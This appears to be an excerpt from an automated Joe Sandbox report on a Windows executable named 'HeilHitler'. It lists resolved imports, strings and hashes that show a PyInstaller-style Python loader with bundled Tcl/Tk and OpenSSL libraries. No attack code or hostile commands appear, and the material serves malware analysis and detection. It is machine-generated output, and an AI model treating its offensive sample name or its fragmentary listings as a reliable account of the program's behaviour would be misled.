PyUnicode_Join, xrefs: 00007FF633D65FA9, 00007FF633D65FCB
PyImport_ExecCodeModule, xrefs: 00007FF633D65C11, 00007FF633D65C33
PyUnicode_FromString, xrefs: 00007FF633D65F7B, 00007FF633D65F9D
PyUnicode_AsUTF8, xrefs: 00007FF633D65EC3, 00007FF633D65EE5
PyObject_GetAttrString, xrefs: 00007FF633D65D53, 00007FF633D65D75
PyErr_Occurred, xrefs: 00007FF633D65B2B, 00007FF633D65B4D
Failed to get address for %hs, xrefs: 00007FF633D65861
PyObject_SetAttrString, xrefs: 00007FF633D65D81, 00007FF633D65DA3
PyConfig_InitIsolatedConfig, xrefs: 00007FF633D659BB, 00007FF633D659DD
Py_PreInitialize, xrefs: 00007FF633D6595F, 00007FF633D65981
PyImport_ImportModule, xrefs: 00007FF633D65C3F, 00007FF633D65C61
PyObject_Str, xrefs: 00007FF633D65DAF, 00007FF633D65DD1
PyConfig_Read, xrefs: 00007FF633D659E9, 00007FF633D65A0B
PyConfig_SetString, xrefs: 00007FF633D65A45, 00007FF633D65A67
PyMarshal_ReadObjectFromString, xrefs: 00007FF633D65C6D, 00007FF633D65C8F
GetProcAddress, xrefs: 00007FF633D65868
PyUnicode_DecodeFSDefault, xrefs: 00007FF633D65F1F, 00007FF633D65F41
PyMem_RawFree, xrefs: 00007FF633D65C9B, 00007FF633D65CBD
PyUnicode_Decode, xrefs: 00007FF633D65EF1, 00007FF633D65F13
Py_InitializeFromConfig, xrefs: 00007FF633D65903, 00007FF633D65925
PyObject_CallFunction, xrefs: 00007FF633D65CF7, 00007FF633D65D19
Py_DecodeLocale, xrefs: 00007FF633D6587F, 00007FF633D658A1
Py_DecRef, xrefs: 00007FF633D65836, 00007FF633D65858
PyErr_NormalizeException, xrefs: 00007FF633D65AFD, 00007FF633D65B1F
PyEval_EvalCode, xrefs: 00007FF633D65BB5, 00007FF633D65BD7
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF633D65DDD, 00007FF633D65DFF
PyErr_Print, xrefs: 00007FF633D65B59, 00007FF633D65B7B
Py_Finalize, xrefs: 00007FF633D658D5, 00007FF633D658F7
PyStatus_Exception, xrefs: 00007FF633D65E39, 00007FF633D65E5B
PyObject_CallFunctionObjArgs, xrefs: 00007FF633D65D25, 00007FF633D65D47
PyModule_GetDict, xrefs: 00007FF633D65CC9, 00007FF633D65CEB
PyUnicode_Replace, xrefs: 00007FF633D65FD7, 00007FF633D65FF9
PySys_GetObject, xrefs: 00007FF633D65E67, 00007FF633D65E89
PyRun_SimpleStringFlags, xrefs: 00007FF633D65E0B, 00007FF633D65E2D
PyErr_Fetch, xrefs: 00007FF633D65ACF, 00007FF633D65AF1
PyConfig_Clear, xrefs: 00007FF633D6598D, 00007FF633D659AF
PySys_SetObject, xrefs: 00007FF633D65E95, 00007FF633D65EB7
PyConfig_SetWideStringList, xrefs: 00007FF633D65A73, 00007FF633D65A95
Py_IsInitialized, xrefs: 00007FF633D65931, 00007FF633D65953

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: b818f33a4d21ac703cfeb5d339d36cb22e7caedded4b05944280d23af7ad1323
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: FB22CF64A0DB0BD1FA549BD5B8125B433A1FF15781F942335D82EAA7A1FF3CB198B200

Function 00007FF633D676C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF633D676D7
GetLastError.KERNEL32 ref: 00007FF633D676E9
GetProcAddress.KERNEL32 ref: 00007FF633D67725
GetLastError.KERNEL32 ref: 00007FF633D67737
GetProcAddress.KERNEL32 ref: 00007FF633D67750
GetLastError.KERNEL32 ref: 00007FF633D67762
GetProcAddress.KERNEL32 ref: 00007FF633D6777B
GetLastError.KERNEL32 ref: 00007FF633D6778D
GetProcAddress.KERNEL32 ref: 00007FF633D677A9
GetLastError.KERNEL32 ref: 00007FF633D677BB
GetProcAddress.KERNEL32 ref: 00007FF633D677D7
GetLastError.KERNEL32 ref: 00007FF633D677E9
GetProcAddress.KERNEL32 ref: 00007FF633D67805
GetLastError.KERNEL32 ref: 00007FF633D67817
GetProcAddress.KERNEL32 ref: 00007FF633D67833
GetLastError.KERNEL32 ref: 00007FF633D67845
GetProcAddress.KERNEL32 ref: 00007FF633D67861
GetLastError.KERNEL32 ref: 00007FF633D67873

Strings

Tcl_MutexFinalize, xrefs: 00007FF633D6790F, 00007FF633D67931
Tcl_CreateObjCommand, xrefs: 00007FF633D67A7F, 00007FF633D67AA1
Tcl_ConditionNotify, xrefs: 00007FF633D6796B, 00007FF633D6798D
Tcl_NewByteArrayObj, xrefs: 00007FF633D67B09, 00007FF633D67B2B
Failed to get address for %hs, xrefs: 00007FF633D676F8
Tk_GetNumMainWindows, xrefs: 00007FF633D67CA7, 00007FF633D67CC9
Tcl_SetVar2, xrefs: 00007FF633D67A51, 00007FF633D67A73
Tcl_ConditionFinalize, xrefs: 00007FF633D6793D, 00007FF633D6795F
Tcl_DoOneEvent, xrefs: 00007FF633D67771, 00007FF633D67793
Tcl_EvalFile, xrefs: 00007FF633D67B93, 00007FF633D67BB5
Tcl_GetObjResult, xrefs: 00007FF633D67B65, 00007FF633D67B87
Tcl_ConditionWait, xrefs: 00007FF633D67999, 00007FF633D679BB
Tcl_FindExecutable, xrefs: 00007FF633D67746, 00007FF633D67768
Tcl_CreateInterp, xrefs: 00007FF633D6771B, 00007FF633D6773D
Tcl_NewStringObj, xrefs: 00007FF633D67ADB, 00007FF633D67AFD
Tcl_DeleteInterp, xrefs: 00007FF633D677FB, 00007FF633D6781D
GetProcAddress, xrefs: 00007FF633D676FF
Tcl_MutexLock, xrefs: 00007FF633D678B3, 00007FF633D678D5
Tcl_Free, xrefs: 00007FF633D67C4B, 00007FF633D67C6D
Tcl_FinalizeThread, xrefs: 00007FF633D677CD, 00007FF633D677EF
Tcl_GetCurrentThread, xrefs: 00007FF633D67857, 00007FF633D67879
Tcl_MutexUnlock, xrefs: 00007FF633D678E1, 00007FF633D67903
Tcl_EvalEx, xrefs: 00007FF633D67BC1, 00007FF633D67BE3
Tcl_SetVar2Ex, xrefs: 00007FF633D67B37, 00007FF633D67B59
Tcl_EvalObjv, xrefs: 00007FF633D67BEF, 00007FF633D67C11
Tcl_ThreadQueueEvent, xrefs: 00007FF633D679C7, 00007FF633D679E9
Tcl_ThreadAlert, xrefs: 00007FF633D679F5, 00007FF633D67A17
Tcl_Alloc, xrefs: 00007FF633D67C1D, 00007FF633D67C3F
Tcl_GetString, xrefs: 00007FF633D67AAD, 00007FF633D67ACF
Tcl_JoinThread, xrefs: 00007FF633D67885, 00007FF633D678A7
Tcl_Finalize, xrefs: 00007FF633D6779F, 00007FF633D677C1
Tcl_Init, xrefs: 00007FF633D676D0, 00007FF633D676EF
Tcl_GetVar2, xrefs: 00007FF633D67A23, 00007FF633D67A45
Tk_Init, xrefs: 00007FF633D67C79, 00007FF633D67C9B
Tcl_CreateThread, xrefs: 00007FF633D67829, 00007FF633D6784B

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: d3a152d9022fc5cbed8f13374cf45911348c57e92719812608b5a812cbb71400
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: AB02E525E0DB0B90FA459BE5A8129B433A1BF05754F942335E43EAA3A5FF3CB559B300

Function 00007FFDFB0F3F10 Relevance: 58.0, APIs: 19, Strings: 14, Instructions: 223COMMON

Download Yara Rule

APIs

00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F3F61
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F3F78
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F3F8F
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F3FC2
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F400B
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F403F
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F4091
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F40A4
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F40BB
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F40CE
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F40E5
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F40F8
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F410F
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F4122
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F4135
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F4148
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F415B
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F41A7
00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFDFB0F4B53,?,?,?,?,?,?,?,?,00007FFDFB0F2B8B), ref: 00007FFDFB0F41D2

Strings

X9.42 DH PARAMETERS, xrefs: 00007FFDFB0F4087
CERTIFICATE REQUEST, xrefs: 00007FFDFB0F40EE
ENCRYPTED PRIVATE KEY, xrefs: 00007FFDFB0F3F6E
TRUSTED CERTIFICATE, xrefs: 00007FFDFB0F4118, 00007FFDFB0F413E
PARAMETERS, xrefs: 00007FFDFB0F4001, 00007FFDFB0F4031
PRIVATE KEY, xrefs: 00007FFDFB0F3F85, 00007FFDFB0F3FB4
DH PARAMETERS, xrefs: 00007FFDFB0F409A
NEW CERTIFICATE REQUEST, xrefs: 00007FFDFB0F40DB
CMS, xrefs: 00007FFDFB0F41D7
CERTIFICATE, xrefs: 00007FFDFB0F40C4, 00007FFDFB0F4105, 00007FFDFB0F4151, 00007FFDFB0F41C8
ANY PRIVATE KEY, xrefs: 00007FFDFB0F3F57
PKCS #7 SIGNED DATA, xrefs: 00007FFDFB0F419D
X509 CERTIFICATE, xrefs: 00007FFDFB0F40B1, 00007FFDFB0F412B
PKCS7, xrefs: 00007FFDFB0F4162

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: 00007B5630
String ID: ANY PRIVATE KEY$CERTIFICATE$CERTIFICATE REQUEST$CMS$DH PARAMETERS$ENCRYPTED PRIVATE KEY$NEW CERTIFICATE REQUEST$PARAMETERS$PKCS #7 SIGNED DATA$PKCS7$PRIVATE KEY$TRUSTED CERTIFICATE$X509 CERTIFICATE$X9.42 DH PARAMETERS
API String ID: 2248877218-1119032718
Opcode ID: 53791607f956101f911f03bce5df1fcc48f1ca8588c3d50ca4fb3c9ab6ede07a
Instruction ID: 0cd435ad773a31ead966d429f455289d62cf2407f943bc57deb9caaae527a802
Opcode Fuzzy Hash: 53791607f956101f911f03bce5df1fcc48f1ca8588c3d50ca4fb3c9ab6ede07a
Instruction Fuzzy Hash: BC91AF12F0E68750FF509B259931A7C2A91EF577E8F485231DD3E862FDEE6CE4459200

Function 00007FF633D681D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D69390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF633D645F4,00000000,00007FF633D61985), ref: 00007FF633D693C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF633D686B7,?,?,00000000,00007FF633D63CBB), ref: 00007FF633D6822C

Part of subcall function 00007FF633D62810: MessageBoxW.USER32 ref: 00007FF633D628EA

Strings

\, xrefs: 00007FF633D68261
%.*s, xrefs: 00007FF633D6830C
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF633D6829D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF633D68203
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF633D68373
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF633D68240
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF633D682D9
CreateDirectory, xrefs: 00007FF633D6837C

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: d247d3a0ca85f1815ed913d402e51827366718a31552b00c9fe28dde0a2555e6
Instruction ID: 16f7a4d3d11730a4688e763166bcd7f3f1033222b3c64f62f783ab04b24030c7
Opcode Fuzzy Hash: d247d3a0ca85f1815ed913d402e51827366718a31552b00c9fe28dde0a2555e6
Instruction Fuzzy Hash: A351B721A2C64281FA509BA5E8536BA7360AF94781F845631E61FE77D5FE3CF504A300

Function 00007FF633D61600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF633D617E6
fseek, xrefs: 00007FF633D616E1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF633D616A2
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF633D617DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF633D616DA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF633D61742
Failed to extract %s: failed to open target file!, xrefs: 00007FF633D6165C
fopen, xrefs: 00007FF633D61663
malloc, xrefs: 00007FF633D61749
fwrite, xrefs: 00007FF633D617D1
Failed to create symbolic link %s!, xrefs: 00007FF633D61622
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF633D617CA

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: b18de5488a40a73e5e49fb6efa9ef8e011055d3291ac3e73bf4f51ef931bf382
Instruction ID: a6bdfd9945747aa285e8d803024d7a6b3daf8c6c94dac3d1c141db40db657a2b
Opcode Fuzzy Hash: b18de5488a40a73e5e49fb6efa9ef8e011055d3291ac3e73bf4f51ef931bf382
Instruction Fuzzy Hash: 3D51B061B0864392EA10ABE1A4131B973A0BF84794F844732EEACE77D6DF3CF555A740

Function 00007FFDFAF44E3F Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 205registryfileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FFDFB04DC24
GetFileType.KERNEL32 ref: 00007FFDFB04DC35
WriteFile.KERNEL32 ref: 00007FFDFB04DC99
MultiByteToWideChar.KERNEL32 ref: 00007FFDFB04DD06
RegisterEventSourceW.ADVAPI32 ref: 00007FFDFB04DEB4
ReportEventW.ADVAPI32 ref: 00007FFDFB04DEF6
DeregisterEventSource.ADVAPI32 ref: 00007FFDFB04DEFF

Strings

OpenSSL, xrefs: 00007FFDFB04DEAD
no stack?, xrefs: 00007FFDFB04DCEC
, xrefs: 00007FFDFB04DD20
OpenSSL: FATAL, xrefs: 00007FFDFB04DF0D

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: Event$FileSource$ByteCharDeregisterHandleMultiRegisterReportTypeWideWrite
String ID: $OpenSSL$OpenSSL: FATAL$no stack?
API String ID: 1270133462-2963566556
Opcode ID: 4334f370b7a482bd35c4ecd3ae7f0d910e81077902a64c89114c2b2096981407
Instruction ID: 193dcda3f3cbe0bb609548b7916e0d86befa95c521a37b6c29a5e933ef2cfb4d
Opcode Fuzzy Hash: 4334f370b7a482bd35c4ecd3ae7f0d910e81077902a64c89114c2b2096981407
Instruction Fuzzy Hash: 3291AE32B19B8385EB209F24D8609AD7760FF45B94F444336EA6D47AE9EF38E655C300

Function 00007FFDFAE9DC60 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 98COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAE9DC96
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAE9DCC7

Strings

ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFDFAE9DD9E
SUITEB192, xrefs: 00007FFDFAE9DD19
SUITEB128, xrefs: 00007FFDFAE9DCEB
..\s\ssl\ssl_ciph.c, xrefs: 00007FFDFAE9DD5C
ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFDFAE9DDA5, 00007FFDFAE9DDB5
SUITEB128C2, xrefs: 00007FFDFAE9DCBA
SUITEB128ONLY, xrefs: 00007FFDFAE9DC8A
ECDHE-ECDSA-AES128-GCM-SHA256, xrefs: 00007FFDFAE9DDC1

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
